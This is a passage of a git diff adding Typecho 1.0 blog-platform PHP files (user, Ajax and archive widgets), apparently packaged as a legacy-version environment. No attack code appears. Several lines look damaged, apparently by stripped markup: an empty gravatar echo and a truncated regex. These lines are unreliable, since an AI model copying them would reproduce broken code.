+ * @access public + * @param Typecho_Db_Query $condition 计算条件 + * @return integer + */ + public function size(Typecho_Db_Query $condition) + { + return $this->db->fetchObject($condition->select(array('COUNT(name)' => 'num'))->from('table.options'))->num; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Users.php b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Users.php new file mode 100755 index 000000000..464c834d4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Users.php @@ -0,0 +1,247 @@ +db->fetchAll($this->db->select() + ->from('table.options')->where('user = ?', $this->uid)); + $options = array(); + foreach ($rows as $row) { + $options[$row['name']] = $row['value']; + } + + return new Typecho_Config($options); + } + + /** + * 判断用户名称是否存在 + * + * @access public + * @param string $name 用户名称 + * @return boolean + */ + public function nameExists($name) + { + $select = $this->db->select() + ->from('table.users') + ->where('name = ?', $name) + ->limit(1); + + if ($this->request->uid) { + $select->where('uid <> ?', $this->request->uid); + } + + $user = $this->db->fetchRow($select); + return $user ? false : true; + } + + /** + * 判断电子邮件是否存在 + * + * @access public + * @param string $mail 电子邮件 + * @return boolean + */ + public function mailExists($mail) + { + $select = $this->db->select() + ->from('table.users') + ->where('mail = ?', $mail) + ->limit(1); + + if ($this->request->uid) { + $select->where('uid <> ?', $this->request->uid); + } + + $user = $this->db->fetchRow($select); + return $user ? false : true; + } + + /** + * 判断用户昵称是否存在 + * + * @access public + * @param string $screenName 昵称 + * @return boolean + */ + public function screenNameExists($screenName) + { + $select = $this->db->select() + ->from('table.users') + ->where('screenName = ?', $screenName) + ->limit(1); + + if ($this->request->uid) { + $select->where('uid <> ?', $this->request->uid); + } + + $user = $this->db->fetchRow($select); + return $user ? false : true; + } + + /** + * 获取页面偏移 + * + * @access protected + * @param string $column 字段名 + * @param integer $offset 偏移值 + * @param string $group 用户组 + * @param integer $pageSize 分页值 + * @return integer + */ + protected function getPageOffset($column, $offset, $group = NULL, $pageSize = 20) + { + $select = $this->db->select(array('COUNT(uid)' => 'num'))->from('table.users') + ->where("table.users.{$column} > {$offset}"); + + if (!empty($group)) { + $select->where('table.users.group = ?', $group); + } + + $count = $this->db->fetchObject($select)->num + 1; + return ceil($count / $pageSize); + } + + /** + * 通用过滤器 + * + * @access public + * @param array $value 需要过滤的行数据 + * @return array + */ + public function filter(array $value) + { + //生成静态链接 + $routeExists = (NULL != Typecho_Router::get('author')); + + $value['permalink'] = $routeExists ? Typecho_Router::url('author', $value, $this->options->index) : '#'; + + /** 生成聚合链接 */ + /** RSS 2.0 */ + $value['feedUrl'] = $routeExists ? Typecho_Router::url('author', $value, $this->options->feedUrl) : '#'; + + /** RSS 1.0 */ + $value['feedRssUrl'] = $routeExists ? Typecho_Router::url('author', $value, $this->options->feedRssUrl) : '#'; + + /** ATOM 1.0 */ + $value['feedAtomUrl'] = $routeExists ? Typecho_Router::url('author', $value, $this->options->feedAtomUrl) : '#'; + + $value = $this->pluginHandle(__CLASS__)->filter($value, $this); + return $value; + } + + /** + * 将每行的值压入堆栈 + * + * @access public + * @param array $value 每行的值 + * @return array + */ + public function push(array $value) + { + $value = $this->filter($value); + return parent::push($value); + } + + /** + * 查询方法 + * + * @access public + * @return Typecho_Db_Query + */ + public function select() + { + return $this->db->select()->from('table.users'); + } + + /** + * 获得所有记录数 + * + * @access public + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + public function size(Typecho_Db_Query $condition) + { + return $this->db->fetchObject($condition->select(array('COUNT(uid)' => 'num'))->from('table.users'))->num; + } + + /** + * 增加记录方法 + * + * @access public + * @param array $rows 字段对应值 + * @return integer + */ + public function insert(array $rows) + { + return $this->db->query($this->db->insert('table.users')->rows($rows)); + } + + /** + * 更新记录方法 + * + * @access public + * @param array $rows 字段对应值 + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + public function update(array $rows, Typecho_Db_Query $condition) + { + return $this->db->query($condition->update('table.users')->rows($rows)); + } + + /** + * 删除记录方法 + * + * @access public + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + public function delete(Typecho_Db_Query $condition) + { + return $this->db->query($condition->delete('table.users')); + } + + /** + * 调用gravatar输出用户头像 + * + * @access public + * @param integer $size 头像尺寸 + * @param string $rating 头像评级 + * @param string $default 默认输出头像 + * @param string $class 默认css class + * @return void + */ + public function gravatar($size = 40, $rating = 'X', $default = NULL, $class = NULL) + { + $url = Typecho_Common::gravatarUrl($this->mail, $size, $rating, $default, $this->request->isSecure()); + echo ''; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Ajax.php b/Typecho/1.0/php-fpm/src/var/Widget/Ajax.php new file mode 100755 index 000000000..4775c6176 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Ajax.php @@ -0,0 +1,162 @@ +options->generator == $this->request->getAgent()) { + echo 'OK'; + } + } + + /** + * 获取最新版本 + * + * @throws Typecho_Widget_Exception + */ + public function checkVersion() + { + $this->user->pass('editor'); + $client = Typecho_Http_Client::get(); + if ($client) { + $client->setHeader('User-Agent', $this->options->generator) + ->setTimeout(10) + ->send('https://github.com/typecho/typecho/releases.atom'); + + /** 匹配内容体 */ + $response = $client->getResponseBody(); + preg_match_all("/]+href=\"([^>]*)\"\s*\/>/is", $response, $matches); + $result = array('available' => 0); + + list($soft, $version) = explode(' ', $this->options->generator); + $current = explode('/', $version); + + if ($matches) { + foreach ($matches[0] as $key => $val) { + $title = trim($matches[1][$key]); + if (preg_match("/v([0-9\.]+)\-([0-9\.]+)\-release$/is", $title, $out)) { + if (version_compare($out[1], $current[0], '>=') + && version_compare($out[2], $current[1], '>')) { + $result = array( + 'available' => 1, + 'latest' => $out[1] . '-' . $out[2], + 'current' => $current[0] . '-' . $current[1], + 'link' => 'https://github.com' . $matches[1][$key] + ); + break; + } + } + } + } + + $this->response->throwJson($result); + return; + } + + throw new Typecho_Widget_Exception(_t('禁止访问'), 403); + } + + /** + * 远程请求代理 + * + * @throws Typecho_Widget_Exception + */ + public function feed() + { + $this->user->pass('subscriber'); + $client = Typecho_Http_Client::get(); + if ($client) { + $client->setHeader('User-Agent', $this->options->generator) + ->setTimeout(10) + ->send('http://typecho.org/feed/'); + + /** 匹配内容体 */ + $response = $client->getResponseBody(); + preg_match_all("/\s*([^>]*)<\/title>\s*<link>([^>]*)<\/link>\s*<guid>[^>]*<\/guid>\s*<pubDate>([^>]*)<\/pubDate>/is", $response, $matches); + + $data = array(); + + if ($matches) { + foreach ($matches[0] as $key => $val) { + $data[] = array( + 'title' => $matches[1][$key], + 'link' => $matches[2][$key], + 'date' => date('n.j', strtotime($matches[3][$key])) + ); + + if ($key > 8) { + break; + } + } + } + + $this->response->throwJson($data); + return; + } + + throw new Typecho_Widget_Exception(_t('禁止访问'), 403); + } + + /** + * 自定义编辑器大小 + * + * @access public + * @return void + */ + public function editorResize() + { + $this->user->pass('contributor'); + if ($this->db->fetchObject($this->db->select(array('COUNT(*)' => 'num')) + ->from('table.options')->where('name = ? AND user = ?', 'editorSize', $this->user->uid))->num > 0) { + $this->widget('Widget_Abstract_Options') + ->update(array('value' => $this->request->size), $this->db->sql()->where('name = ? AND user = ?', 'editorSize', $this->user->uid)); + } else { + $this->widget('Widget_Abstract_Options')->insert(array( + 'name' => 'editorSize', + 'value' => $this->request->size, + 'user' => $this->user->uid + )); + } + } + + /** + * 异步请求入口 + * + * @access public + * @return void + */ + public function action() + { + if (!$this->request->isAjax()) { + $this->response->goBack(); + } + + $this->on($this->request->is('do=remoteCallback'))->remoteCallback(); + $this->on($this->request->is('do=feed'))->feed(); + $this->on($this->request->is('do=checkVersion'))->checkVersion(); + $this->on($this->request->is('do=editorResize'))->editorResize(); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Archive.php b/Typecho/1.0/php-fpm/src/var/Widget/Archive.php new file mode 100755 index 000000000..8fe5d1dae --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Archive.php @@ -0,0 +1,2090 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id: Posts.php 200 2008-05-21 06:33:20Z magike.net $ + */ + +/** + * 内容的文章基类 + * 定义的css类 + * p.more:阅读全文链接所属段落 + * + * @package Widget + */ +class Widget_Archive extends Widget_Abstract_Contents +{ + /** + * 调用的风格文件 + * + * @access private + * @var string + */ + private $_themeFile; + + /** + * 风格目录 + * + * @access private + * @var string + */ + private $_themeDir; + + /** + * 分页计算对象 + * + * @access private + * @var Typecho_Db_Query + */ + private $_countSql; + + /** + * 所有文章个数 + * + * @access private + * @var integer + */ + private $_total = false; + + /** + * 标记是否为从外部调用 + * + * @access private + * @var boolean + */ + private $_invokeFromOutside = false; + + /** + * 是否由聚合调用 + * + * @access private + * @var boolean + */ + private $_invokeByFeed = false; + + /** + * 当前页 + * + * @access private + * @var integer + */ + private $_currentPage; + + /** + * 生成分页的内容 + * + * @access private + * @var array + */ + private $_pageRow = array(); + + /** + * 聚合器对象 + * + * @access private + * @var Typecho_Feed + */ + private $_feed; + + /** + * RSS 2.0聚合地址 + * + * @access private + * @var string + */ + private $_feedUrl; + + /** + * RSS 1.0聚合地址 + * + * @access private + * @var string + */ + private $_feedRssUrl; + + /** + * ATOM 聚合地址 + * + * @access private + * @var string + */ + private $_feedAtomUrl; + + /** + * 本页关键字 + * + * @access private + * @var string + */ + private $_keywords; + + /** + * 本页描述 + * + * @access private + * @var string + */ + private $_description; + + /** + * 聚合类型 + * + * @access private + * @var string + */ + private $_feedType; + + /** + * 聚合类型 + * + * @access private + * @var string + */ + private $_feedContentType; + + /** + * 当前feed地址 + * + * @access private + * @var string + */ + private $_currentFeedUrl; + + /** + * 归档标题 + * + * @access private + * @var string + */ + private $_archiveTitle = NULL; + + /** + * 归档类型 + * + * @access private + * @var string + */ + private $_archiveType = 'index'; + + /** + * 是否为单一归档 + * + * @access private + * @var string + */ + private $_archiveSingle = false; + + /** + * 是否为自定义首页, 主要为了标记自定义首页的情况 + * + * (default value: false) + * + * @var boolean + * @access private + */ + private $_makeSinglePageAsFrontPage = false; + + /** + * 归档缩略名 + * + * @access private + * @var string + */ + private $_archiveSlug; + + /** + * 设置分页对象 + * + * @access private + * @var Typecho_Widget_Helper_PageNavigator + */ + private $_pageNav; + + /** + * 构造函数,初始化组件 + * + * @param mixed $request + * @param mixed $response + * @param mixed $params + * @throws Typecho_Widget_Exception + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + + $this->parameter->setDefault(array( + 'pageSize' => $this->options->pageSize, + 'type' => NULL, + 'checkPermalink' => true + )); + + /** 用于判断是路由调用还是外部调用 */ + if (NULL == $this->parameter->type) { + $this->parameter->type = Typecho_Router::$current; + } else { + $this->_invokeFromOutside = true; + } + + /** 用于判断是否为feed调用 */ + if ($this->parameter->isFeed) { + $this->_invokeByFeed = true; + } + + /** 初始化皮肤路径 */ + $this->_themeDir = rtrim($this->options->themeFile($this->options->theme), '/') . '/'; + + /** 处理feed模式 **/ + if ('feed' == $this->parameter->type) { + + $this->_currentFeedUrl = ''; + + /** 判断聚合类型 */ + switch (true) { + case 0 === strpos($this->request->feed, '/rss/') || '/rss' == $this->request->feed: + /** 如果是RSS1标准 */ + $this->request->feed = substr($this->request->feed, 4); + $this->_feedType = Typecho_Feed::RSS1; + $this->_currentFeedUrl = $this->options->feedRssUrl; + $this->_feedContentType = 'application/rdf+xml'; + break; + case 0 === strpos($this->request->feed, '/atom/') || '/atom' == $this->request->feed: + /** 如果是ATOM标准 */ + $this->request->feed = substr($this->request->feed, 5); + $this->_feedType = Typecho_Feed::ATOM1; + $this->_currentFeedUrl = $this->options->feedAtomUrl; + $this->_feedContentType = 'application/atom+xml'; + break; + default: + $this->_feedType = Typecho_Feed::RSS2; + $this->_currentFeedUrl = $this->options->feedUrl; + $this->_feedContentType = 'application/rss+xml'; + break; + } + + $feedQuery = $this->request->feed; + //$this->parameter->type = Typecho_Router::$current; + //$this->request->setParams($params); + + if ('/comments/' == $feedQuery || '/comments' == $feedQuery) { + /** 专为feed使用的hack */ + $this->parameter->type = 'comments'; + } else { + $matched = Typecho_Router::match($this->request->feed, 'pageSize=10&isFeed=1'); + if ($matched && $matched instanceof Widget_Archive) { + $this->import($matched); + } else { + throw new Typecho_Widget_Exception(_t('聚合页不存在'), 404); + } + } + + /** 初始化聚合器 */ + $this->setFeed(new Typecho_Feed(Typecho_Common::VERSION, $this->_feedType, $this->options->charset, _t('zh-CN'))); + + /** 默认输出10则文章 **/ + $this->parameter->pageSize = 10; + } + } + + /** + * 评论地址 + * + * @access protected + * @return string + */ + protected function ___commentUrl() + { + /** 生成反馈地址 */ + /** 评论 */ + $commentUrl = parent::___commentUrl(); + + //不依赖js的父级评论 + $reply = $this->request->filter('int')->replyTo; + if ($reply && $this->is('single')) { + $commentUrl .= '?parent=' . $reply; + } + + return $this->options->commentsAntiSpam ? $commentUrl : $this->security->getTokenUrl($commentUrl); + } + + /** + * 设置分页对象 + * @param array $pageRow + * @return void + */ + public function setPageRow($pageRow) + { + $this->_pageRow = $pageRow; + } + + /** + * @param string $archiveSlug the $_archiveSlug to set + */ + public function setArchiveSlug($archiveSlug) + { + $this->_archiveSlug = $archiveSlug; + } + + /** + * @param string $archiveSingle the $_archiveSingle to set + */ + public function setArchiveSingle($archiveSingle) + { + $this->_archiveSingle = $archiveSingle; + } + + /** + * @param $_archiveType the $_archiveType to set + */ + public function setArchiveType($archiveType) + { + $this->_archiveType = $archiveType; + } + + /** + * @param $_archiveTitle the $_archiveTitle to set + */ + public function setArchiveTitle($archiveTitle) + { + $this->_archiveTitle = $archiveTitle; + } + + /** + * 增加标题 + * @param string $archiveTitle 标题 + * @return void + */ + public function addArchiveTitle($archiveTitle) + { + $current = $this->getArchiveTitle(); + $current[] = $archiveTitle; + $this->setArchiveTitle($current); + } + + /** + * @param $_feedType the $_feedType to set + */ + public function setFeedType($feedType) + { + $this->_feedType = $feedType; + } + + /** + * @param $_description the $_description to set + */ + public function setDescription($description) + { + $this->_description = $description; + } + + /** + * @param $_keywords the $_keywords to set + */ + public function setKeywords($keywords) + { + $this->_keywords = $keywords; + } + + /** + * @param $_feedAtomUrl the $_feedAtomUrl to set + */ + public function setFeedAtomUrl($feedAtomUrl) + { + $this->_feedAtomUrl = $feedAtomUrl; + } + + /** + * @param $_feedRssUrl the $_feedRssUrl to set + */ + public function setFeedRssUrl($feedRssUrl) + { + $this->_feedRssUrl = $feedRssUrl; + } + + /** + * @param $_feedUrl the $_feedUrl to set + */ + public function setFeedUrl($feedUrl) + { + $this->_feedUrl = $feedUrl; + } + + /** + * @param $_feed the $_feed to set + */ + public function setFeed($feed) + { + $this->_feed = $feed; + } + + /** + * @param $_countSql the $_countSql to set + */ + public function setCountSql($countSql) + { + $this->_countSql = $countSql; + } + + /** + * @param $_total the $_total to set + */ + public function setTotal($total) + { + $this->_total = $total; + } + + /** + * @param $_themeFile the $_themeFile to set + */ + public function setThemeFile($themeFile) + { + $this->_themeFile = $themeFile; + } + + /** + * @param $_themeDir the $_themeDir to set + */ + public function setThemeDir($themeDir) + { + $this->_themeDir = $themeDir; + } + + /** + * 获取分页对象 + * @return array + */ + public function getPageRow() + { + return $this->_pageRow; + } + + /** + * @return the $_archiveSlug + */ + public function getArchiveSlug() + { + return $this->_archiveSlug; + } + + /** + * @return the $_archiveSingle + */ + public function getArchiveSingle() + { + return $this->_archiveSingle; + } + + /** + * @return the $_archiveType + */ + public function getArchiveType() + { + return $this->_archiveType; + } + + /** + * @return the $_archiveTitle + */ + public function getArchiveTitle() + { + return $this->_archiveTitle; + } + + /** + * @return the $_feedType + */ + public function getFeedType() + { + return $this->_feedType; + } + + /** + * @return the $_description + */ + public function getDescription() + { + return $this->_description; + } + + /** + * @return the $_keywords + */ + public function getKeywords() + { + return $this->_keywords; + } + + /** + * @return the $_feedAtomUrl + */ + public function getFeedAtomUrl() + { + return $this->_feedAtomUrl; + } + + /** + * @return the $_feedRssUrl + */ + public function getFeedRssUrl() + { + return $this->_feedRssUrl; + } + + /** + * @return the $_feedUrl + */ + public function getFeedUrl() + { + return $this->_feedUrl; + } + + /** + * @return the $_feed + */ + public function getFeed() + { + return $this->_feed; + } + + /** + * @return the $_countSql + */ + public function getCountSql() + { + return $this->_countSql; + } + + /** + * @return the $_total + */ + public function getTotal() + { + if (false === $this->_total) { + $this->_total = $this->size($this->_countSql); + } + + return $this->_total; + } + + /** + * @return the $_currentPage + */ + public function getCurrentPage() + { + return $this->_currentPage; + } + + /** + * 获取页数 + * + * @return integer + */ + public function getTotalPage() + { + return ceil($this->getTotal() / $this->parameter->pageSize); + } + + /** + * @return the $_themeFile + */ + public function getThemeFile() + { + return $this->_themeFile; + } + + /** + * @return the $_themeDir + */ + public function getThemeDir() + { + return $this->_themeDir; + } + + /** + * 检查链接是否正确 + * + * @access private + * @return void + */ + private function checkPermalink() + { + $type = $this->parameter->type; + + if (in_array($type, array('index', 'comment_page', 404)) + || $this->_makeSinglePageAsFrontPage // 自定义首页不处理 + || !$this->parameter->checkPermalink) { // 强制关闭 + return; + } + + if ($this->_archiveSingle) { + $permalink = $this->permalink; + } else { + $value = array_merge($this->_pageRow, array( + 'page' => $this->_currentPage + )); + + $path = Typecho_Router::url($type, $value); + $permalink = Typecho_Common::url($path, $this->options->index); + } + + $requestUrl = $this->request->getRequestUrl(); + + $src = parse_url($permalink); + $target = parse_url($requestUrl); + + if ($src['host'] != $target['host'] || urldecode($src['path']) != urldecode($target['path'])) { + $this->response->redirect($permalink, true); + } + } + + /** + * 导入对象 + * + * @access private + * @param Widget_Archive $widget 需要导入的对象 + * @return void + */ + private function import(Widget_Archive $widget) + { + $currentProperties = get_object_vars($this); + + foreach ($currentProperties as $name => $value) { + if (false !== strpos('|request|response|parameter|_feed|_feedType|_currentFeedUrl|', '|' . $name . '|')) { + continue; + } + + if (isset($widget->{$name})) { + $this->{$name} = $widget->{$name}; + } else { + $method = ucfirst(trim($name, '_')); + $setMethod = 'set' . $method; + $getMethod = 'get' . $method; + + if (method_exists($this, $setMethod) + && method_exists($widget, $getMethod)) { + $this->{$setMethod}($widget->{$getMethod}()); + } + } + } + } + + /** + * 处理index + * + * @access private + * @param Typecho_Db_Query $select 查询对象 + * @param boolean $hasPushed 是否已经压入队列 + * @return void + */ + private function indexHandle(Typecho_Db_Query $select, &$hasPushed) + { + $select->where('table.contents.type = ?', 'post'); + + /** 插件接口 */ + $this->pluginHandle()->indexHandle($this, $select); + } + + /** + * 404页面处理 + * + * @access private + * @param Typecho_Db_Query $select 查询对象 + * @param boolean $hasPushed 是否已经压入队列 + * @return void + */ + private function error404Handle(Typecho_Db_Query $select, &$hasPushed) + { + /** 设置header */ + $this->response->setStatus(404); + + /** 设置标题 */ + $this->_archiveTitle = _t('页面没找到'); + + /** 设置归档类型 */ + $this->_archiveType = 'archive'; + + /** 设置归档缩略名 */ + $this->_archiveSlug = 404; + + /** 设置归档模板 */ + $this->_themeFile = '404.php'; + + /** 设置单一归档类型 */ + $this->_archiveSingle = false; + + $hasPushed = true; + + /** 插件接口 */ + $this->pluginHandle()->error404Handle($this, $select); + } + + /** + * 独立页处理 + * + * @access private + * @param Typecho_Db_Query $select 查询对象 + * @param boolean $hasPushed 是否已经压入队列 + * @return void + * @throws Typecho_Widget_Exception + */ + private function singleHandle(Typecho_Db_Query $select, &$hasPushed) + { + if ('comment_page' == $this->parameter->type) { + $params = array(); + $matched = Typecho_Router::match($this->request->permalink); + + if ($matched && $matched instanceof Widget_Archive && $matched->is('single')) { + $this->import($matched); + $hasPushed = true; + return; + } + } + + /** 将这两个设置提前是为了保证在调用query的plugin时可以在插件中使用is判断初步归档类型 */ + /** 如果需要更细判断,则可以使用singleHandle来实现 */ + $this->_archiveSingle = true; + + /** 默认归档类型 */ + $this->_archiveType = 'single'; + + /** 匹配类型 */ + + if ('single' != $this->parameter->type) { + $select->where('table.contents.type = ?', $this->parameter->type); + } + + /** 如果是单篇文章或独立页面 */ + if (isset($this->request->cid)) { + $select->where('table.contents.cid = ?', $this->request->filter('int')->cid); + } + + /** 匹配缩略名 */ + if (isset($this->request->slug)) { + $select->where('table.contents.slug = ?', $this->request->slug); + } + + /** 匹配时间 */ + if (isset($this->request->year)) { + $year = $this->request->filter('int')->year; + + $fromMonth = 1; + $toMonth = 12; + + $fromDay = 1; + $toDay = 31; + + if (isset($this->request->month)) { + $fromMonth = $this->request->filter('int')->month; + $toMonth = $fromMonth; + + $fromDay = 1; + $toDay = date('t', mktime(0, 0, 0, $toMonth, 1, $year)); + + if (isset($this->request->day)) { + $fromDay = $this->request->filter('int')->day; + $toDay = $fromDay; + } + } + + /** 获取起始GMT时间的unix时间戳 */ + $from = mktime(0, 0, 0, $fromMonth, $fromDay, $year) - $this->options->timezone + $this->options->serverTimezone; + $to = mktime(23, 59, 59, $toMonth, $toDay, $year) - $this->options->timezone + $this->options->serverTimezone; + $select->where('table.contents.created > ? AND table.contents.created < ?', $from, $to); + } + + /** 保存密码至cookie */ + if ($this->request->isPost() && isset($this->request->protectPassword)) { + $this->security->protect(); + Typecho_Cookie::set('protectPassword', $this->request->protectPassword, 0); + } + + /** 匹配类型 */ + $select->limit(1); + $this->query($select); + + if (!$this->have() + || (isset($this->request->category) && $this->category != $this->request->category) + || (isset($this->request->directory) && $this->request->directory != implode('/', $this->directory))) { + if (!$this->_invokeFromOutside) { + /** 对没有索引情况下的判断 */ + throw new Typecho_Widget_Exception(_t('请求的地址不存在'), 404); + } else { + $hasPushed = true; + return; + } + } + + /** 设置模板 */ + if ($this->template) { + /** 应用自定义模板 */ + $this->_themeFile = $this->template; + } + + /** 设置头部feed */ + /** RSS 2.0 */ + + //对自定义首页使用全局变量 + if (!$this->_makeSinglePageAsFrontPage) { + $this->_feedUrl = $this->feedUrl; + + /** RSS 1.0 */ + $this->_feedRssUrl = $this->feedRssUrl; + + /** ATOM 1.0 */ + $this->_feedAtomUrl = $this->feedAtomUrl; + + /** 设置标题 */ + $this->_archiveTitle = $this->title; + + /** 设置关键词 */ + $this->_keywords = implode(',', Typecho_Common::arrayFlatten($this->tags, 'name')); + + /** 设置描述 */ + $this->_description = $this->description; + } + + /** 设置归档类型 */ + $this->_archiveType = $this->type; + + /** 设置归档缩略名 */ + $this->_archiveSlug = ('post' == $this->type || 'attachment' == $this->type) ? $this->cid : $this->slug; + + /** 设置403头 */ + if ($this->hidden) { + $this->response->setStatus(403); + } + + $hasPushed = true; + + /** 插件接口 */ + $this->pluginHandle()->singleHandle($this, $select); + } + + /** + * 处理分类 + * + * @access private + * @param Typecho_Db_Query $select 查询对象 + * @param boolean $hasPushed 是否已经压入队列 + * @return void + * @throws Typecho_Widget_Exception + */ + private function categoryHandle(Typecho_Db_Query $select, &$hasPushed) + { + /** 如果是分类 */ + $categorySelect = $this->db->select() + ->from('table.metas') + ->where('type = ?', 'category') + ->limit(1); + + if (isset($this->request->mid)) { + $categorySelect->where('mid = ?', $this->request->filter('int')->mid); + } + + if (isset($this->request->slug)) { + $categorySelect->where('slug = ?', $this->request->slug); + } + + if (isset($this->request->directory)) { + $directory = explode('/', $this->request->directory); + $categorySelect->where('slug = ?', $directory[count($directory) - 1]); + } + + $category = $this->db->fetchRow($categorySelect); + if (empty($category)) { + throw new Typecho_Widget_Exception(_t('分类不存在'), 404); + } + + $categoryListWidget = $this->widget('Widget_Metas_Category_List', 'current=' . $category['mid']); + $category = $categoryListWidget->filter($category); + + if (isset($directory) && ($this->request->directory != implode('/', $category['directory']))) { + throw new Typecho_Widget_Exception(_t('父级分类不存在'), 404); + } + + $children = $categoryListWidget->getAllChildren($category['mid']); + $children[] = $category['mid']; + + /** fix sql92 by 70 */ + $select->join('table.relationships', 'table.contents.cid = table.relationships.cid') + ->where('table.relationships.mid IN ?', $children) + ->where('table.contents.type = ?', 'post') + ->group('table.contents.cid'); + + /** 设置分页 */ + $this->_pageRow = array_merge($category, array( + 'slug' => urlencode($category['slug']), + 'directory' => implode('/', array_map('urlencode', $category['directory'])) + )); + + /** 设置关键词 */ + $this->_keywords = $category['name']; + + /** 设置描述 */ + $this->_description = $category['description']; + + /** 设置头部feed */ + /** RSS 2.0 */ + $this->_feedUrl = $category['feedUrl']; + + /** RSS 1.0 */ + $this->_feedRssUrl = $category['feedRssUrl']; + + /** ATOM 1.0 */ + $this->_feedAtomUrl = $category['feedAtomUrl']; + + /** 设置标题 */ + $this->_archiveTitle = $category['name']; + + /** 设置归档类型 */ + $this->_archiveType = 'category'; + + /** 设置归档缩略名 */ + $this->_archiveSlug = $category['slug']; + + /** 插件接口 */ + $this->pluginHandle()->categoryHandle($this, $select); + } + + /** + * 处理标签 + * + * @access private + * @param Typecho_Db_Query $select 查询对象 + * @param boolean $hasPushed 是否已经压入队列 + * @return void + * @throws Typecho_Widget_Exception + */ + private function tagHandle(Typecho_Db_Query $select, &$hasPushed) + { + $tagSelect = $this->db->select()->from('table.metas') + ->where('type = ?', 'tag')->limit(1); + + if (isset($this->request->mid)) { + $tagSelect->where('mid = ?', $this->request->filter('int')->mid); + } + + if (isset($this->request->slug)) { + $tagSelect->where('slug = ?', $this->request->slug); + } + + /** 如果是标签 */ + $tag = $this->db->fetchRow($tagSelect, + array($this->widget('Widget_Abstract_Metas'), 'filter')); + + if (!$tag) { + throw new Typecho_Widget_Exception(_t('标签不存在'), 404); + } + + /** fix sql92 by 70 */ + $select->join('table.relationships', 'table.contents.cid = table.relationships.cid') + ->where('table.relationships.mid = ?', $tag['mid']) + ->where('table.contents.type = ?', 'post'); + + /** 设置分页 */ + $this->_pageRow = array_merge($tag, array( + 'slug' => urlencode($tag['slug']) + )); + + /** 设置关键词 */ + $this->_keywords = $tag['name']; + + /** 设置描述 */ + $this->_description = $tag['description']; + + /** 设置头部feed */ + /** RSS 2.0 */ + $this->_feedUrl = $tag['feedUrl']; + + /** RSS 1.0 */ + $this->_feedRssUrl = $tag['feedRssUrl']; + + /** ATOM 1.0 */ + $this->_feedAtomUrl = $tag['feedAtomUrl']; + + /** 设置标题 */ + $this->_archiveTitle = $tag['name']; + + /** 设置归档类型 */ + $this->_archiveType = 'tag'; + + /** 设置归档缩略名 */ + $this->_archiveSlug = $tag['slug']; + + /** 插件接口 */ + $this->pluginHandle()->tagHandle($this, $select); + } + + /** + * 处理作者 + * + * @access private + * @param Typecho_Db_Query $select 查询对象 + * @param boolean $hasPushed 是否已经压入队列 + * @return void + * @throws Typecho_Widget_Exception + */ + private function authorHandle(Typecho_Db_Query $select, &$hasPushed) + { + $uid = $this->request->filter('int')->uid; + + $author = $this->db->fetchRow($this->db->select()->from('table.users') + ->where('uid = ?', $uid), + array($this->widget('Widget_Abstract_Users'), 'filter')); + + if (!$author) { + throw new Typecho_Widget_Exception(_t('作者不存在'), 404); + } + + $select->where('table.contents.authorId = ?', $uid) + ->where('table.contents.type = ?', 'post'); + + /** 设置分页 */ + $this->_pageRow = $author; + + /** 设置关键词 */ + $this->_keywords = $author['screenName']; + + /** 设置描述 */ + $this->_description = $author['screenName']; + + /** 设置头部feed */ + /** RSS 2.0 */ + $this->_feedUrl = $author['feedUrl']; + + /** RSS 1.0 */ + $this->_feedRssUrl = $author['feedRssUrl']; + + /** ATOM 1.0 */ + $this->_feedAtomUrl = $author['feedAtomUrl']; + + /** 设置标题 */ + $this->_archiveTitle = $author['screenName']; + + /** 设置归档类型 */ + $this->_archiveType = 'author'; + + /** 设置归档缩略名 */ + $this->_archiveSlug = $author['uid']; + + /** 插件接口 */ + $this->pluginHandle()->authorHandle($this, $select); + } + + /** + * 处理日期 + * + * @access private + * @param Typecho_Db_Query $select 查询对象 + * @param boolean $hasPushed 是否已经压入队列 + * @return void + */ + private function dateHandle(Typecho_Db_Query $select, &$hasPushed) + { + /** 如果是按日期归档 */ + $year = $this->request->filter('int')->year; + $month = $this->request->filter('int')->month; + $day = $this->request->filter('int')->day; + + if (!empty($year) && !empty($month) && !empty($day)) { + + /** 如果按日归档 */ + $from = mktime(0, 0, 0, $month, $day, $year); + $to = mktime(23, 59, 59, $month, $day, $year); + + /** 归档缩略名 */ + $this->_archiveSlug = 'day'; + + /** 设置标题 */ + $this->_archiveTitle = _t('%d年%d月%d日', $year, $month, $day); + } else if (!empty($year) && !empty($month)) { + + /** 如果按月归档 */ + $from = mktime(0, 0, 0, $month, 1, $year); + $to = mktime(23, 59, 59, $month, date('t', $from), $year); + + /** 归档缩略名 */ + $this->_archiveSlug = 'month'; + + /** 设置标题 */ + $this->_archiveTitle = _t('%d年%d月', $year, $month); + } else if (!empty($year)) { + + /** 如果按年归档 */ + $from = mktime(0, 0, 0, 1, 1, $year); + $to = mktime(23, 59, 59, 12, 31, $year); + + /** 归档缩略名 */ + $this->_archiveSlug = 'year'; + + /** 设置标题 */ + $this->_archiveTitle = _t('%d年', $year); + } + + $select->where('table.contents.created >= ?', $from - $this->options->timezone + $this->options->serverTimezone) + ->where('table.contents.created <= ?', $to - $this->options->timezone + $this->options->serverTimezone) + ->where('table.contents.type = ?', 'post'); + + /** 设置归档类型 */ + $this->_archiveType = 'date'; + + /** 设置头部feed */ + $value = array('year' => $year, 'month' => str_pad($month, 2, '0', STR_PAD_LEFT), 'day' => str_pad($day, 2, '0', STR_PAD_LEFT)); + + /** 设置分页 */ + $this->_pageRow = $value; + + /** 获取当前路由,过滤掉翻页情况 */ + $currentRoute = str_replace('_page', '', $this->parameter->type); + + /** RSS 2.0 */ + $this->_feedUrl = Typecho_Router::url($currentRoute, $value, $this->options->feedUrl); + + /** RSS 1.0 */ + $this->_feedRssUrl = 